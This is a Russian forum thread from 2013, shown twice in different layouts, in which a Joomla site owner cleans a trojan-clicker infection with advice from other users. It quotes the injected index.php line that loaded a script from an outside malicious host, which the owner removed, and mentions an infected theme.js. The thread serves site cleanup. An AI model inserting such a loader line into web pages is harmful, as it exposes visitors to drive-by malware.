На сайте Trojan-Clicker.HTML.Agent.bt. Как побороть?

And1_Shocker · 29.01.2013, 22:27

При заходе на http://sphinxdahab.com/ каспер блокирует сайт:

Двиг Joomla.
Скачал полностью весь сайт вместе с БД на комп, проверил Каспером, он ничего не нашел.
Где искать заразу и как с ней бороться? Спасибо!

zl0dey4eg · 29.01.2013, 23:39

заразу искать в скриптах.
касперский и не найдет ничего, так как на сайте только ссылки на загрузку вредоносных модулей
бороться - просто, залить бекап на сервер

(но его конечно же нет)

And1_Shocker · 30.01.2013, 10:00

в index.php нашел и удалил:
echo '<script src="http://kinoshkaxa.changeip.name/rsize.js"></script>';
sphinxdahab.com/public_html/modules/mod_virtuemart/ThemeXP был зараженный файл theme.js и его удалил.
Каспер открывает сайт, но проблема еще осталась:
http://sitecheck.sucuri.net/scanner/...phinxdahab.com
Где его искать?

vot · 30.01.2013, 13:29

Так сканирование тебе прямо указывает места расположения ссылки на загрузчик.
Детальную информацию по пути смотри в строке
Malware found in the URL

And1_Shocker · 30.01.2013, 16:19

http://sitecheck.sucuri.net/scanner/...phinxdahab.com
Проблема решена. Если кому не трудно, зайдите пожалуйста на сайт, что скажет Ваш антивирус? Спасибо всем за помощь! С уважением.

vot · 30.01.2013, 20:11

Таки проблема ваша не решена и решена не будет
web site: sphinxdahab.com/
status: Site infected with malware
web trust: Not Blacklisted
Не вы же сами хостите данный ресурс?

And1_Shocker · 31.01.2013, 10:11

Всем спасибо. Общими усилиями зараза побеждена. Очень признателен за помощь и поддержку.

29.01.2013, 22:27	Вверх #1
And1_Shocker Запрещенный Автор темы Регистрация: 06.09.2008 Адрес: Орел	На сайте Trojan-Clicker.HTML.Agent.bt. Как побороть? При заходе на http://sphinxdahab.com/ каспер блокирует сайт: Двиг Joomla. Скачал полностью весь сайт вместе с БД на комп, проверил Каспером, он ничего не нашел. Где искать заразу и как с ней бороться? Спасибо!

29.01.2013, 23:39	Вверх #2
zl0dey4eg Абсолютный Регистрация: 24.12.2012 Адрес: Москва	заразу искать в скриптах. касперский и не найдет ничего, так как на сайте только ссылки на загрузку вредоносных модулей бороться - просто, залить бекап на сервер (но его конечно же нет)

30.01.2013, 10:00	Вверх #3
And1_Shocker Запрещенный Автор темы Регистрация: 06.09.2008 Адрес: Орел	в index.php нашел и удалил: echo '<script src="http://kinoshkaxa.changeip.name/rsize.js"></script>'; sphinxdahab.com/public_html/modules/mod_virtuemart/ThemeXP был зараженный файл theme.js и его удалил. Каспер открывает сайт, но проблема еще осталась: http://sitecheck.sucuri.net/scanner/...phinxdahab.com Где его искать?

30.01.2013, 13:29	Вверх #4
vot Запрещенный Регистрация: 15.01.2013 Адрес: Москва	Так сканирование тебе прямо указывает места расположения ссылки на загрузчик. Детальную информацию по пути смотри в строке Malware found in the URL

30.01.2013, 16:19	Вверх #5
And1_Shocker Запрещенный Автор темы Регистрация: 06.09.2008 Адрес: Орел	http://sitecheck.sucuri.net/scanner/...phinxdahab.com Проблема решена. Если кому не трудно, зайдите пожалуйста на сайт, что скажет Ваш антивирус? Спасибо всем за помощь! С уважением.

30.01.2013, 20:11	Вверх #6
vot Запрещенный Регистрация: 15.01.2013 Адрес: Москва	Таки проблема ваша не решена и решена не будет web site: sphinxdahab.com/ status: Site infected with malware web trust: Not Blacklisted Не вы же сами хостите данный ресурс?

31.01.2013, 10:11	Вверх #7
And1_Shocker Запрещенный Автор темы Регистрация: 06.09.2008 Адрес: Орел	Всем спасибо. Общими усилиями зараза побеждена. Очень признателен за помощь и поддержку.